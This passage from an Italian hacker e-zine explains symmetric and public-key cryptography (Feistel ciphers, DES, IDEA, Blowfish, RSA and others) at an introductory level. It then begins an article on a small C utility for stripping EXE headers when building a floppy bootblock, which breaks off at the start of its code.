| il testo (senza conoscere la chiave).. Come avete sicuramente capito, un | | algoritmo puo' essere definito sicuro se i tempi per "crackarlo" sono | | notevolmente alti :) | | Eccovi una tabella che da' i tempi medi richiesti per ricercare le | | chiavi, a seconda della loro grandezza in bit: | | (NB: il simbolo "ms" sta per Mircro Secondo) | | | | ._____________________________________________________________________. | | | Dim. | Numero | Tempo a | Tempo a | | | | Chiave | Chiavi possib. | 1 decifr/ms | 10^6 decifr/ms| | | |=========|=================|========================|================| | | | | | | | | | | 32 bit | 2^32=4,3*10^9 | 2^31 ms=35,8 minuti | 2,15 millisec. | | | | | | | | | | | 56 bit | 2^56=7,2*10^16 | 2^55 ms=1142 anni | 10 ore | | | | | | | | | | | 128 bit | 2^128=3,4*10^38 | 2^127 ms=5,4*10^24 anni| 5,4*10^18 anni| | | | | | | | | | | 168 bit | 2^168=3,7*10^50 | 2^167 ms=5,9*10^36 anni| 5,9*10^30 anni| | | |_________|_________________|________________________|________________| | | | | Come si puo' chiaramente notare, da questa semplice tabella, il tempo | | impiegato per decifrare un testo cifrato, dipende dal numero di bit da | | cui e' formata la chiave.. | | | | Praticamente tutti gli algoritmi convenzionali a blocchi, incluso il | | DES, hanno una struttura comune, descritta per la prima volta nel 1973 | | dallo studioso Horst Feistel (IBM). | | L'Input che bisogna dare a questi algoritmi sara' appunto il testo in | | chiaro e la chiave segreta che la chiameremo K.. | | Una volta introdotto il testo in chiaro, di lunghezza 2x bit, | | l'algoritmo divide questo blocco in 2 parti uguali che chiameremo | | L(0) e R(0) (Dati a Left, sinistra e dati a Right, destra. Queste 2 | | parti di testo in chiaro verrano ora sottoposte a n iterazioni e poi | | combinate per formare cosi il blocco di testo cifrato. | | La i-esima iterazione rivera' in ingresso le parti di testo in chiaro | | L(i-1) e R(i-1), risultanti dall'iterazione precedente e le combinera' | | grazie alla chiave K(i), derivata dalla chiave completa inserita | | da noi. | | ....ossia K. | | Solitamente le sottochiavi K(i) che si creano a ogni nuova iterazione, | | sono differenti l'una dalle altre e si generano a partire dalla chiave | | principale K (inserita dal utente). | | Queste sottochiavi sono ovviamente create da un algoritmo di | | generazione, che le crea a partire da quella principale K. | | Ricordate che tutte le iterazioni svolte hanno la stessa identica | | struttura, infatti le uniche cose a cambiare sono i dati L(i-1), R(i-1) | | (testo in chiaro in esame) e la sottochiave K(i). | | L'algoritmo e' presso che questo: Viene effettuata una sostituzione | | della meta' sinistra del dato in ingresso.. la quale e' effettuata | | grazie all'applicazione di una funzione F alla meta' destra dei dati | | in ingresso ed effettuando un OR di tipo esclusivo (ossia XOR) tra il | | risultato della funzione e la meta' sinistra dei dati. | | Dopo avere compiuto tutto cio' l'algoritmo compie uno scambio delle due | | meta' (dei dati).. creando cosi il nostro bel testo cifrato! :) | | Molto Importante ricordare! che la funzione F,di cui ho parlato un | | attimo fa, a ogni iterazione ha la stessa identica struttura (fa le | | stesse operazioni).... pero'!! e' può essere definita parametrica | | rispetto alla sottochiave K(i) (generata ad ogni itereazione..). | | Quindi anche se la F e' identica a ogni passaggio, puo' essere definita | | diversa, in quanto le operazioni possono "cambiare" proprio perche il | | valore di K(i) e' diverso da quello del passaggio precedente. | | Questo e' pressochè la struttura generale di un algoritmo (Schema di | | Feistel). | | Questo schema, viene differenziato da alcuni parametri che | | caretterizzano i vari algoritmi: | | 1) Dimensione del blocco: Una maggiore dimensione del blocco delle | | operazioni, rende l'algoritmo piu' sicuro e efficente (solitamente | | adottato quello a 64 bit).. | | 2) Dimensione della chiave: Come spiegato in precedenza piu' e' | | grande la | | chiave piu' e' sicuro l'algoritmo, pero' il tempo per cifrare il | | testo è | | piu' alto (ma anche quello per "crackarlo" :D) | | 3) Numero di Iterazioni: Piu' iterazioni si fanno e' più il | | testo cifrato | | e' sicuro. (16 di solito). | | 4) Algoritmo per la generazione delle sottochiavi: K(i).. piu' e' | | complesso questo algoritmo e piu' e' difficile la crittoanalisi del | | testo cifrato. :) | | 5) Funzione di cifratura: Anche in questo caso piu' e' complessa e | | più è | | ardua la criptoanalisi :) | | Avrete sicuramente capito, che piu complesso e' la struttura | | del blocco, | | algoritmo, ecc, e piu' l'intero algoritmo diventa efficace e ingrado di | | creare testi cifrati, estremamente difficili da crittoanalizzare.. | | Pero' e' anche vero che spesso queste operazioni devono | | essere incorporate | | a applicazioni e operazioni che non possono richiedere troppo tempo.... | | Quindi, di conseguenza, la velocita' di esecuzione di un algoritmo | | diventa spesso di primaria importanza. | | Come vi ho gia' accennato, quasi tutti gli algoritmi conosciuti, | | utilizzano lo schema spiegato sopra (Schema di Feistel). Il motivo di | | questa scelta e' appunto che la sua struttura è ben definita e cio' | | rende piu' facile determinare la robustezza di un algoritmo. | | Infatti se non si usasse questo schema, sarebbe piu' difficile | | individuare eventuali "punti deboli", in quanto il creatore di questo | | ultimo farebbe piu' difficolta' a vederli. | | | | Facciamo ora qualche commento sui principali Algoritmi a blocchi di | | cifratura Convenzionale: | | Di seguito vi riporto una tabella con i dati principali di questi | | Algoritmi. | | | | .___________Tabella_algoritmi_di_cifratura_convenzionale_____________. | | |-----------.-------------.---------------.-------------.------------| | | | | | | Operazioni | | | | | Algoritmo | Dim. Chiave | N° iterazioni | Matematiche |Applicazioni| | | |===========|=============|===============|=============|============| | | | | | | XOR, | SET e | | | | DES | 56 bit | 16 |S-box fissate| Kerberos | | | |___________|_____________|_______________|_____________|____________| | | | | 112 bit o | | XOR, |Key finaziar| | | |Triplo-DES | 168 bit | 48 |S-box fissate|PGP, S/MIME | | | |___________|_____________|_______________|_____________|____________| | | | | | |XOR, Addizion| | | | | IDEA | 128 bit | 8 | e Moltiplic.| PGP | | | |___________|_____________|_______________|_____________|____________| | | | | var. fino a | |XOR, Moltipl.| | | | | Blowfish | 448 bit | 16 |S-box variab.| / | | | |___________|_____________|_______________|_____________|____________| | | | | | |Add,Sottrazio| | | | | RC5 | var. fino a | var. fino a |XOR,Rotazione| / | | | | | 2048 bit | 255 |S-box fissate| | | | |___________|_____________|_______________|_____________|____________| | | | | | |Add,Sottrazio| | | | | CAST-128 | da 40 bit | 16 |XOR,Rotazione| PGP | | | | | a 128 bit | |S-box fissate| | | | |___________|_____________|_______________|_____________|____________| | | .--------------------------------------------------------------------. | | | | In questa tabella ho voluto riportare, sinteticamente alcune | | caratteristiche di alcuni, degli alrgoritmi principali.. | | Ora commenteremo in modo molto generale, questi e molti altri algoritmi | | a chiave privata :) | | In un sistema a chiave segreta (o privata) si possono trovare i | | seguenti algoritmi: DES (e sue variazioni), Triplo DES, IDEA, CAST-128 | | SAFER, RC2, RC4, RC5, FEAL, SKIPJACK, BLOWFISH, SEAL, ecc :) | | (Di seguito vi propporr• un breve commento su ogninuo di questi | | algoritmi, per quel che riguarda eventuali algoritmi o programmi in C | | che vi spieghino l'algoritmo in modo dettagliato vi conisiglio di | | andare su google e provare a cercarli visto che Š pieno... nel caso non | | riusciste a trovare nessun sorgente o altro mandatemi una mail vedr• se | | posso aiutarvi....visto che qualche specifica e programmuzzo in C l'ho | | trovato). | | | | *-DES-* | | DES sta per Data Encryption Standard ed e' un cifratore a blocco | | iterativo sviluppato alla IBM e definito dal governo degli Stati Uniti | | come standard ufficiale nel 1977. La dimensione dei blocchi DES e' | | di 64 bit, ed usa una chiave a 56 bit (16 cicli) durante la cifratura. | | E' stato stimato che un computer specializzato del costo di 1 | | milione di dollari richiede 3,5 ore per eseguire una ricerca esaustiva | | (attacco di forza bruta). | | Comunque non posso assicurare questa questa cifra.. del tutto, | | poiche' la velocita' delle CPU stanno diventando sempre piu' alte (e | | meno costose nello stesso tempo). Infatti le chiavi minori di 128 bit | | sono considerate insicure ormai. | | Anche se e' da tenere conto che un domani 128 bit potrebbero essere | | insicuri.... | | | | *-Triplo-DES-* | | Questo algoritmo usato solitamente per applicazioni finanziarie, | | utilizza tre chiavi e tre esecuzioni dell'algoritmo DES.... | | Il Triplo-DES e' una variazione del DES: proprio perchè cifra il | | testo in chiaro 3 volte. | | L' algoritmo triplo-DES puo' essere: DES-EEE3 (cifra-cifra-cifra), | | DES-EDE3 (cifra-decifra-cifra), DES-EEE2 (cifra-cifra-cifra). | | Il DES-EEE3 usa 3 differenti chiavi segrete durante la cifratura. | | Il DES-EDE3 usa 3 differente chiavi ugualmente, ma nella sequenza | | cifra-decifra-cifra. Il DES-EDE2 e' come il formato precedente ma usa 2 | | chiavi diverse. G-DES e DESX sono altre variazioni del DES. | | | | *-IDEA-* | | IDEA sta per International Data Encryption Algorithm. E' un cifratore a | | blocco iterativo con chiave lunga 128 bit (8 cicli). E' considerato | | essere immunedalla crittoanalisi differenziale e da quella lineare. | | IDEA e' generalmenteconsiderato sicuro. | | E riguardo gli attacchi di forza bruta? Bene.. una chiave a 128 bit | | significa che solo una delle 2^128 combinazioni puo' essere una chiave | | possibile. Cosi'...prova solo a calcolare 2^128. In altre parole un | | computer capace di 1 MIPS (1 milione di istruzioni per secondo) dovrebbe | | lavorare per anni, e tu protresti non vedere la soluzione... | | Non confonderti con i sistemi a chiave pubblica. | | Infatti, guarda questa tabella; mostra le equivalenze stimate tra un | | attacco di forza bruta su chiavi segrete ed una fattorizzazione di | | chiavi pubbliche: | | | | .________________________. | | | | | | | |Simmetrico | Asimmetrico| | | |===========|============| | | | | | | | | 56 bit | 384 bit | | | | 64 bit | 512 bit | | | | 80 bit | 768 bit | | | | 112 bit | 1792 bit | | | | 128 bit | 2304 bit | | | |___________|____________| | | | | Dato che IDEA e' stato uno dei primi algoritmi proposti, per la | | sostituzione del "vecchio" DES, che utilizzasse una chiave a 128 vit e' | | stato sottoposto a numerose analisi e fin ora sembra essere molto | | resistente a eventuali tentativi di crittoanalisi. | | Quindi e' spesso usato in applicazioni commerciali o viene usato come | | una possibile alternativa in PGP | | | | *-CAST-128-* | | Secondo le informazioni che sono riuscito a procurarmi, questo algo. | | sarebbe stato sviluppato nel 1997 da Carlisle Adams e Stafford Tavares | | della Entrust Technologies. | | Questo, utilizza una dimensione di chiave che varia da 40 bit a 128 bit | | con incrementi di 8 bit alla volta. | | Questo algoritmo inizia con l'essere impegnato in molti prodotti tra | | cui PGP, di cui parleremo piu avanti nella guida. | | CAST usa S-box fissate, ma di dimensioni maggiori di quelle usate dal | | DES. | | Nella struttura di CAST, i suoi ideatori si sono preoccupati di rendere | | le sottochiavi, il piu' possibile, resistenti agli attacchi di | | crittoanalisi. | | Una caratteristica di questo algoritmo e' che la sua Funzione F che | | genera il codice, cambia a ogni iterazione rendendo l'intero algoritmo | | piu' efficace. | | | | *-SAFER-* | | La sigla SAFER sta per Secure And Fast Encryption Routine.. | | Questo e' un cifratore a blocco sviluppato da Massey nel 1993 per la | | Cylink Corporation. L'algoritmo usa una dimensione di blocco di 64 bit. | | | | *-RC2-* | | RC2 sta per Ron Code o Rivest's Cipher. Questo e' un cifratore a blocco | | (64 bit) sviluppato da Rivest per la RSA Data Security. | | Usa una lunghezza di chiave variabile. Infatti puo' essere reso piu' o | | meno sicuro del DES variando la misura della chiave. | | L'algoritmo e' considerato circa 3 volte piu' veloce del DES. | | | | *-RC4-* | | L' RC4 e' un cifratore a flusso sviluppato da Rivest per la RSA Data | | Security. Algoritmo che sa una chiave a lunghezza variabile. | | | | *-RC5-* | | L' RC5 e' un cifratore a blocco sviluppato da Ron Rivest per la RSA Data | | Security. E' un algoritmo parametrico, infatti ha una dimensione di | | blocco variabile, una lunghezza di chiave variabile, ed un numero di | | iterazioni variabile. | | L'algoritmo usa una dimensione del blocco puo' essere 32, 64 o 128 bit. | | La dimensione della chiave puo' essere da 0 fino a 2048 bit. il | | numero di iterazioni va da 0 a 255. | | Le sue caratteristiche principali sono appunto: la velocita' di | | escuzione l'adattabilita' a hardware e software, dovuta al fatto che | | utilizza operazioni di base e molto semplici, che sono comunemente | | disponibili e conosciute da tutti i microprocessori. | | | | *-FEAL-* | | FEAL sta per Fast Encipherment Algorithm. E' un cifratore a blocco | | sviluppato da Shimizu e Miyaguchi. Visto che furono annunciati vari | | deboli attacchi, dovrebbe essere considerato insicuro. | | | | *-SKIPJACK-* | | SKIPJACK e' l'algoritmo contenuto nel chip CLIPPER. Fu disegnato dalla | | NSA (National Secure Agency). Usa una dimensione di blocco di 64 bit ed | | una chiave di 80 bit. | | Puo' essere implementato nel software, ma solo se contenuto all'interno | | di hardware costruito da produttori autorizzati dal governo. | | | | *-BLOWFISH-* | | BLOWFISH e' un cifratore a blocco iterativo sviluppato da | | Bruce Schneier. | | Questo algoritmo, divenne rapidamente una valida alternativa a DES. | | Fu inizialmente progettato per essere facile da implementare e | | per avere una elevata velocita' di esecuzione.. | | Questo algoritmo e' molto compatto e puo' essere eseguito in uno | | spazio di memoria inferiore a 5Kbyte. | | Questo algoritmo e' stato considerato uno dei migliori,appartenenti alla | | crittografia convenzionale. Solitamente e' usato in applicazioni | | Commerciali. | | Usa una chiave che puo' arrivare fino a 448 bit e l'algoritmo compie 16 | | iterazioni. | | Blowfish e' considerato uno dei migliori algoritmi di cifratura | | convenzionale, in quanto le sottochiavi e le S-box sono prodotte da | | applicazioni ripetute dello stesso algoritmo Blowfish, il quale modifica | | i bit in ingresso, rendenla crittoanalisi estremamente piu' complicata. | | | | *-SEAL-* | | SEAL sta per Software-optimized Encryption Algorithm. E' un cifratore a | | flusso sviluppato da Rogaway e Coppersmith nel 1993. | | | | Questo e' un sommario di pressochè tutti (o quasi) gli algoritmi a | | chiave segreta, di cui ho trovato qualche informazione.. Ricordate che | | alcuni di questi Algoritmi sono presenti nella tabella sopra, in cui | | potrete trovare le principali operazioni matematiche usate dal | | Algoritmo. | | | | | | -->{Crittografia a Chiave Pubblica}<-- | | | | Come avrete sicuramente capito.. la crittografia convenzionale puo' avere| | dei problemi, in quanto risulta difficile fare sapera al destinatario, | | la chiave corretta per decifrare il testo cifrato, senza rischi e senza | | avere preoccupazioni. | | Infatti e' noto come nel caso in cui la chiave sia una sola | | (convenzionale) la difficolta' sta proprio nel fatto di riuscire a fare | | sapere al mittente la chiave senza rischiare che nessuno la scopri :) | | Per queste ragioni venne inventato un altro sistema di crittografia: il | | sistema a chiave pubblica (chiamato anche sistema crittografico | | Asimmetrico). | | Il concetto di crittografia a chiave pubblica fu introdotto nel 1976 da | | Whitfield Diffie e da Martin Hellman.. | | Come funziona dunque questo sistema? Semplicemente ogni persona ha una | | coppia di chiavi, una pubblica ed una privata (chiave privata e chiave | | segreta sono sinonimi). | | La chiave pubblica di ciascuna persona e' pubblicata ed accessibile | | a tutti - in modo che chiunque la voglia usare lo possa fare - mentre la | | chiave privata e' tenuta segreta. Nessuna informazione segreta deve | | viaggiare dal mittente al ricevente. Cosi', se vuoi comunicare con | | qualcuno crittografando il messaggio, tutto quello che si deve fare e' | | usare la sua chiave pubblica. | | Il ricevente di tale messaggio, puo' poi decifrarlo usando la sua chiave | | privata. Esiste quindi un legame tra la chiave pubblica e la sua | | corrispondente chiave privata. | | Nessuno puo' recuperare la chiave privata dalla sua corrispondente | | chiave pubblica :) Cosi', solo il destinatario prestabilito puo' | | decifrare un messaggio a lui indirizzato tramite la sua chiave privata! | | bello no? :D Beh, purtroppo c'e' un problema: la chiave pubblica è | | associata al reale destinatario a cui voglio inviare un messaggio | | crittografato? | | Per esempio: voglio rendere pubblica la mia chiave "VenInside". | | La metto sulla rete e dico: "Salve! Questa e' la mia chiave pubblica: | | "VenInSide". Mandami un messaggio..". | | Poi qualcuno "Cattivo :D", cambia la mia chiave pubblica con la sua | | chiave pubblica (fake mail, social engeenering, ecc). | | "hack". Cosi' il mio messaggio diventa: 'Salve! Questa e' la mia chiave | | pubblica: "Hack" ...Mandami un messaggio!' | | ....Ora supponiamo che tu voglia inviarmi un messaggio cifrato. | | Tu non conosci la mia chiave pubblica reale (ossia "VenInside") e credi | | che la mia chiave sia "Hack". | | Cosa succede? ovviamente.. quel tipo "Cattivo :D" puo' intercettar il | | messaggio, decifrarlo tramite la sua chiave privata (puo' farlo, perchŠ | | tu hai cifrato il messaggio tramite la sua chiave pubblica "Hack"), lo | | legge, e poi lo cifra nuovamente usando la mia chiave pubblica questa | | volta. Cosi' io ricevo il tuo messaggio e lo decifro tramite la mia | | chiave privata (che nessun altro tranne me conosce!) e nessuno si | | accorge di niente! Percio', e' importante essere sicuri di una chiave | | pubblica prima di usarla. :) In altre parole si potrebbe dire che | | quella chiave pubblica deve essere autenticata.... | | Si potrebbe fare ancora un esempio per farvi capire i sistemi | | crittografici: | | Consideriamo la crittografia di questo tipo come una sorta di valigetta | | a 2 lucchetti.. Supponendo che l'utente A, deve mandare all'utente B | | delle informazioni preziose, pero' senza correre il rischio che la chiave| | venga "scoperta" mentre questa viene comunicata a B; si potrebbe | | adottare un metodo diverso. | | Supponiamo che A abbia la valigetta. A con la sua Chiave chiude il | | lucchetto 1 e spedisce la valigetta sicura e chiusa a chiave, a B. | | A questo punto l'utente B ha ricevuto la valigia e non fara' altro che | | chiudere il secondo lucchetto 2 con la sua chiave (diversa da quella | | di A), per poi rispedire la valigetta ad A. | | Fatto cio' l'utente A si ritrova la valigetta questa volta pero con tutti| | e due i lucchetti chiusi. Quindi A dovra' aprire il suo lucchetto chiuso | | in precedenza, per poi rispedire la valigetta (sicura perche il | | lucchetto 2 e' chiuso) al utente B. | | Finalmente B ha ricevuto la valigetta con un lucchetto solo chiuso, | | ossia proprio quello che solo lui puo' aprire, in quanto era stato | | chiuso da lui stesso in precedenza :) | | Tutto questo "casino", potrebbe sembrare esagerato e molto lungo, ma | | oggi come oggi i tempi di comunicazione e di elaborazione sono molto | | pi— bassi.... quindi tutto cio' e' possibile! | | Ecco risolto il problema di dovere comunicare al destinatario la chiave | | per decifrare. :) | | Adesso che spero abbiate le idee un po' piu chiare sulla differenza tra | | Crittografia convenzionale e Crittografia a Chiave pubblica.. direi di | | inziare con la teoria vera e propria! :) | | La crittografia a chiave pubblica trova la sua applicazione per scopi di | | autenticazione dei messaggi e di distribuzione delle chiavi. | | In un sistema crittografico a chiave pubblica (a differenza di quelli a | | chiave privata), il mittente ed il ricevente del messaggio non devono | | conoscere la stessa chiave. | | Infatti usano 2 coppie di chiavi ciascuno: una chiave pubblica ed una | | privata. | | La cifratura a chiave pubblica e' stata proposta per la prima volta da | | Diffie e Hellman nel 1976 e rappresenta il primo rivoluzionario passo | | avanti compiuto nel campo della crittologia. | | Uno dei motivi principali e' che gli algoritmi a chiave pubblica si | | basano su sequenze matematiche, piuttosto che su semplici operazioni | | matematiche applicate su una sequenza di bit. | | L'elemento principale che distingue i due tipi di crittografia | | (simmettrica -> convenzionale e asimmetrica -> chiave pubblica) e' | | appunto il fatto che la crittografia di tipo convenzionale utilizza una | | sola chiave uguale per tutti. | | Mentre nel caso della crittografia a chiave pubblica si riscontra un | | caso asimmetrico, dove appunto esistono 2 chiavi distinte. | | La cifratura a chiave pubblica e' considerata piu' efficace e più | | resistente alla crittoanalisi, di quella convenzionale. :) | | Uno schema a chiave pubblica ha bisogno di 6 componenti principali: | | 1) Testo in chiaro: dati leggibili in ingresso all'algoritmo. | | 2) Algoritmo di cifratura: come gia' spiegato esegue delle straformazioni| | sultesto in chiaro crittografandolo. | | 3) Chiave Pubblica / Privata: coppia di chiavi scelte in modo che una | | venga utilizzata per la cifratura e l'altra per la decifratura. | | Le trasformazioni infatti dipendono dalla chiave inserita in | | ingresso. | | 5) Testo Cifrato: messaggio prodotto come risultato della cifratura, | | questo dipende dalla chiave messa. | | 6) Algoritmo di decifratura: riceva il testo cifrato e tramite la | | corretta chiave produce il testo in chiaro originario. | | Come e' anche evidente dai nomi degli elementi,la chiave pubblica è | | conosciuta da tutti mentre la chiave privata e' conosciuta solamente dal | | legittimo proprietario delle chiave. :) | | Vediamo ora passo passo, i passi fondamentali di questi sistemi: | | 1) Tutti gli utenti generano una coppia di chiavi, da usare per la | | cifratura e per la decifratura dei messaggi. | | 2) Ogni utente mette una delle sue chiavi in un registro pubblico in | | qualche altro file accessibile pubblicamente (chiave pubblica), | | mentre l'altra viene mantenuta segreta (chiave privata). | | 3) Supponendo che un utente A voglia spedire un messaggio cifrato a un | | altro utente B, allora l'utente A non fara' altro che cifrare il | | testo in chiaro del messaggio, utilizzando la chiave pubblica del | | utente B. | | 4) Una volta che l'utente B riceve il messaggio, lo decifra utilizzando | | la chiave propria chiave privata. Nessun altro utente puo' decifrarlo | | inquanto solo l'utente B conosce la chiave segreta. | | | | Grazie all'utlizzo di questo metodo tutti gli utenti hanno accesso alle | | chiavi pubbliche, mentre le chiavi private sono generate dallo stesso | | utente, quindi non c'e' mai necessita' di distribuirle. | | Fino a che l'utente in questione tiene segreta la propria chiave | | privata, si puo' dire che i messaggi diretti a lui sono "sicuri". | | In qualsiasi momento un utente puo' cambiare la chiave privata e rendere | | pubblica la nuova chiava pubblica a essa correlata. | | Segue ora un semplice schema che rappresenta la cifratura a chiave | | pubblica. | | ____________________________________________________________________ | | ( ) | | ( Il keyring delle chiavi pubbliche di un utente di nome Gianni ) | | ( comprende quelle di di Gianni, Andrea, Simone e Fabbio. :D ) | | (_________________________|__________________________________________) | | | | | | | | .--------. k. pubblica GIANNI K. Privata Gianni .--------. | | | Testo | |^^^^^^^^^^^| |^^^^^^^^^^^^^| | Testo | | | | | | Algoritmo | T.Cifrato | Algoritmo | | | | | | in |==>>| |--->------>| |==>>| in | | | | | | Cifratura | Trasmesso | Decifratura | | | | | | Chiaro | |___________| |_____________| | Chiaro | | | |________| algo. cifratura algo. decifratura |________| | | | | (Cifratura) | | >>> | | _____________________________________________________________________ | | ( ) | | ( Il keyring delle chiavi pubbliche del utente destinatario -> Carlo ) | | ( comprende quelle di di Carlo, Andrea, Simone e Fabbio. :D ) | | (_________________________|___________________________________________) | | | | | | | | .--------. k. privata CARLO K. Pubblica CARLO .--------. | | | Testo | |^^^^^^^^^^^| |^^^^^^^^^^^^^| | Testo | | | | | | Algoritmo | T.Cifrato | Algoritmo | | | | | | in |==>>| |--->------>| |==>>| in | | | | | | Cifratura | Trasmesso | Decifratura | | | | | | Chiaro | |___________| |_____________| | Chiaro | | | |________| algo. cifratura algo. decifratura |________| | | | | (Autenticazione) | | | | Prima di poter proseguire e' importante, chiarire un aspetto | | fondamentale di questo sistema di crittografia. I sistemi a chiave | | pubblica sono caratterizzati da un algoritmo di cifratura con due chiavi | | una mantenere segreta e una pubblica (disponibile pubblicamente). | | A seconda del l'applicazione, il mittente utilizza la propria chiave | | privata o quella pubblica del destinatario o in certi casi entrambe. | | E' Infatti possibile classificare l'uso di questi dei sistemi | | crittografici in tre categorie principali. | | (Non vi spaventate se non capite sta tabella, perche' segue | | un commento) | | | | .__________Appl._sistemi_di_Crittografia_a K._Pubblica___________. | | |----------------.--------------.------------------.-------------. | | | | | | Scambio di | | | | Algoritmo | Cifr/Decifr | Firma Digitale | Chiavi | | | |================|==============|==================|=============| | | | RSA | si' | sì | sì | | | |________________|______________|__________________|_____________| | | | | | | | | | | Diffie-Hellman | no | no | si' | | | |________________|______________|__________________|_____________| | | | | | | | | | | DSS | no | si' | no | | | |________________|______________|__________________|_____________| | | | | | | | | | | Curve Ellit. | si' | sì | sì | | | |________________|______________|__________________|_____________| | | .----------------------------------------------------------------. | | | | Spieghiamo ora questo semplice schema riassuntivo. | | La tabella e' composta da 4 colonne. Il significato della prima ormai | | l'avete capito (Algoritmo) :) | | Per Cifratura/Decifratura intendo che il mittente cifra un messaggio | | con la chiave pubblica del ricevente. | | La Firma Digitale: il mittente "firma" il messaggio con la propria | | chiave privata. La firma si ottiene attraverso un algoritmo di cifratura | | applicato al messaggio o a un piccolo di dati. | | Infine per Scambio Di Chiavi: le due parti collaborano al fine di | | scambiarsi una chiave di sessione. | | Sono possibili differenti approcci che fanno uso delle chiavi private di | | una o di entrambe le persone. | | Alcuni algoritmi sono adatti per tutte le tre applicazioni mentre altri | | possono essere usati solamente per una o due di queste applicazioni. | | Nella mia tabella ho infatti voluto riportare quali sono le possibili | | applicazioni per alcuni degli algoritmi: RSA, Diffie Hellman, DSS e | | Curve ellittiche.... Capito ora a che serve sta tabella? :) | | | | Esistono vari tipi di sistemi a chiave pubblica: RSA, ELGAMAL, Curve | | Ellittiche, DSS, KNAPSACK, LUC, McEliece, Probabilistic encryption.... | | (Di seguito vi propporro' un breve commento su ogninuo di questi | | algoritmi, per quel che riguarda eventuali algoritmi o programmi in C | | che vi spieghino l'algoritmo in modo dettagliato vi conisiglio di | | andare su google e provare a cercarli visto che e' pieno... nel caso non | | riusciste a trovare nessun sorgente o altro mandatemi una mail vedro' se | | posso aiutarvi....visto che qualche specifica e programmuzzo in C l'ho | | trovato). | | | | **-RSA-** | | L'RSA e' un sistema crittografico sia per la cifratura che per la | | autenticazione sviluppato nel 1977 da Ron Rivest, Adi Shamir e | | Leonard Adleman al MIT. | | Questo algoritmo e' basato sul problema della fattorizzazione. | | L' RSA e' solitamente combinata insieme ad un algoritmo a chiave privata | | come il DES per esempio. Infatti il DES e' molto piu' veloce dell' RSA. | | L' RSA fornisce dimensioni di chiavi sino a 2048 bit (vedi RSA-129). | | Di questo algoritmo sono riuscito a trovare anche la spiegazione | | matematica, o meglio i passaggi matematici dell'algoritmo ma direi di | | tralasciarli visto che servono alcuni concetti di matematica che manco | | io so granche' bene, quindi figuriamoci spiegarveli. Comunque nel caso | | vi interessasse vi invito a cercarvelo e studiarlo. :) | | | | **-ELGAMAL-** | | ELGAMAL e' un algoritmo di cifratura basato sul problema dei logaritmi | | discreti. | | Analisi mostrano come ELGAMAL e RSA abbiano una sicurezza simile per | | lunghezze di chiavi equivalenti. Comunque l' algoritmo ELGAMAL e' piu' | | lento di quell dell' RSA. | | | | **-Curve Ellittiche-** | | Il sistema delle curve ellittiche e' un algoritmo simile all' RSA e al | | ELGAMAL, ma e' basato sull' operazione di addizione di curve ellittiche. | | (Ahia! la matematica e' proprio pesantuccia qui :D) | | | | **-DSS-** | | DSS e' stato pubblicato dal NIST (National Institute of Standards and | | Technology). Questo e' conosciuto come DSS (Digital Signature Standard) | | e fa uso del algoritmo Sha-1 proponendo una nuova tecnica di firma | | digitale DSA (Digital Signature Algorithm). Questo sistema DSS fu | | proposto nel 1991 e revisionato nel 1993 per rispondere a feedback | | relativi alla sicurezza dello schema. | | | | **-KNAPSACK-** | | Il sistema crittogrtafico Merkle-Hellman KNAPSACK fu sviluppato nel | | 1978. E' basato sul problema delle sottosomme della matematica | | combinatoria. | | | | **-LUC-** | | LUC e' un sistema crittografico sviluppato da un gruppo di ricercatori | | in Australia e Nuova Zelanda. E' basato sulle sequenze Lucas. | | | | **-McEliece-** | | McEliece e' unsistema crittografico basato sulla teoria della codifica | | algebrica. | | | | **-Cifratura Probabilistica-** | | La cifratura probabilistica e' un differente approccio alla cifratura | | scoperto da Goldwasser e Micali. A differenza dei sistemi convenzionali, | | qui un messaggio e' codificato in uno dei molti testi cifrati possibili. | | | | Bene anche la parte di Crittografia a Chiave Pubblica e' conclusa anche | | se nel prossimo capitolo intendo ancora dedicare uno spazio alle Firme | | Digitali.... quindi in realta' l'argomento e' ancora aperto. :) | | | | Come gia' detto all'inizio della guida.... ho dovuto dividerla in tre | | tre parti, quindi per questa "puntata" basta cosi. :) | | Nella prossima parte affronteremo questi argomenti: | | | | - Firma Digitale e informazioni sui principali algoritmi | | - Funzioni Hash (qualche concetto, MD2,MD4,MD5,SHA e SHA-1) | | - Sistemi di Autenticazione (qualche concetto sul Kerberos ecc) | | - Sicurezza della posta elettronica (PGP, S/MIME, ecc) | | - Protocolli generali di Sicurezza su Internet (S-HTTP, SSL, PCT,S/WAN) | | - Commercio Elettronico (IKP, SET, Secure Courier) | | | | Per eventuali consigli, correzioni, insulti o altro scrivetemi a | | songoten@mojodo.cjb.net ....Grazie e Ciao! :) | | | +--------------------------------------------------------------------------+ +--------------------------------------------------------------------------+ | ONDAQUADRA ~ [MiSC] #05 - 14/01/2002 | | CUTH [warfare] 0x13/0x23 | +--------------------------------------------------------------------------+ | | | warfare /* > | | $Intro> | | Salve boyz, nel numero precedente di OndaQuadra c'era un articolo di | | Alexander The Great nel quale descriveva in modo fantasticamente | | dettagliato il modo per fare un bootblock, e se ci sono riuscito io ci | | puo' riuscire chiunque.. (:-P) | | $Problema> | | Come dice un mio proffo "Qual'je u' problem?!.." (Qual e' il problema) | | (lol) bene che nel suo articolo erano indispensabili due programmi | | (oltre al tasm), uno per eliminare gli header dei file exe dopo avre | | tasmato e tlinkato il codice assembler del bootstrap loader e uno per | | inserire nel CHS 001 del floppyno il nostro lavoretto di natale :-). | | Io ho cercato per un po' di tempo (2 gg.) il chophead ma nn son riuscito | | a trovarlo in rete.. forse anche xche' iniziavo a cercarlo e poi mi | | scordavo cosa stavo facendo..;) tanto che ho detto ...bhe' mo provo a | | farmene uno io...e cosi' | | dopo un po di scervellamento sono riuscito a ottenere un equivalente.. | | di cui vi riporto il codice qui sotto fra qualke riga.. L'ho provato e | | ha funzionato e dopo un po' ho letto sotto l'articolo e ho visto che | | c'era l'URL del sito di Alex.. Ho detto "Kappro' stava li'" :-( cmq.. il | | programma e' semplicissimo.. | | (come dice sempre il mio proffo("A prova di imbecilli :-P %s", | | "rotfl");) apre il file in rb (file binario in lettura) e si posiziona | | al numero di bytez passati in input e da quel punto in poi va a scrivere | | sul file di output... | | eccovi qui sotto lo snip snip 8< 8< | | $Dediche> | | $. josh, focuz, lesion, snip, nick1, eva(^bia^), trimlanda, | | BigAlex,^Spider^, ^[Case]^, [chr], AnarKya, protheus, c3ntoq, TripTrip e | | nn mi ricordo + :) | | */ | | //8<-------8<-------8<---[Cut here]---8<-------8<-------8 | | void main(int argc, char *argv[]) | | { | | FILE *fp; | | FILE *fpz; | | char ch; | | long nbyte; | | /* controllo parametri*/ | | printf("8<----------8<------[Cut 